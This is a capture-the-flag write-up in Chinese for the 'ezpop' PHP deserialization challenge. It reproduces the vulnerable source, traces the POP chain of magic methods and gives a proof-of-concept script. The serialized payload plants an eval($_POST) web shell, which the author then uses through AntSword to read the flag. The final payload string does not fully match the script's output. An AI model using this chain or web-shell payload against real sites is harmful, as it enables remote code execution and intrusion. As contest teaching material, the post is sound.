ezpop【2022DASCTF X SU 三月春季挑战赛】

目录

漏洞类型

解题思路

解题流程

新知识点

题目地址

漏洞类型

PHP反序列化

解题思路

首先 预览代码,发现函数 unserialize 判断反序列化知识点,并且有多个类可能考察pop链
第一:四个魔术方法___destruct__call__toString__invoke;
第二:传输 cmd参数数据后触发 fin类的__destruct此为切入点;
第三:审计代码发现mix类中的eval('#' . $this->m1); m1可控,所以我要调用get_flag方法;
第四:fin类中调用了 get_flag 方法, 所以需要调用 __call 方法
第五:crow类中调用了world不存在的方法, 所以需要调用__invoke方法
第六:mix类将的run方法将变量当做方法, 所以需要调用run方法
第七:waht类调用了run方法, 所以需要调用__toString方法
第八:fin类将变量与字符串进行了拼接, 所以需要调用__destruct方法
第九:因为有unserialize函数,所以会自动调用__destruct

解题流程

源代码

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

逆向推理

mix类m1可控 get_flag => fin 类 __call
fin 类 __call => crow 类 __invoke
crow 类 __invoke => mix 类 run
mix 类 run => what 类 __toString
what 类 __toString => fin 类 __destruct

正向推理

?cmd=反序列化字符串
fin 类 __destruct f1=new what()
what 类 __toString a=new mix()
mix 类 run m1=new crow()
crow 类 __invoke v1=new fin()
fin 类 __call f1=new mix()

POC

<?php
class crow
{
    public $v1;
    public $v2;

    public function __construct($v1)
    {
        $this->v1 = $v1;
    }
}

class fin
{
    public $f1;

    public function __construct($f1)
    {
        $this->f1 = $f1;
    }
}

class what
{
    public $a;

    public function __construct($a)
    {
        $this->a = $a;
    }
}
class mix
{
    public $m1;

    public function __construct($m1)
    {
        $this->m1 = $m1;
    }

}

$f = new mix("?><?=eval(\$_POST[1]);");
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));

使用蚁剑链接,链接密码

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1

在蚁剑中/var/www/html/目录下打开终端,使用cat *命令

新知识点

eval() 函数把字符串按照 PHP 代码来计算

题目地址

https://buuoj.cn/match/matches/89/challenges

posted @ 2022-04-01 15:31  WeQi_Blog  阅读(179)  评论(0编辑  收藏  举报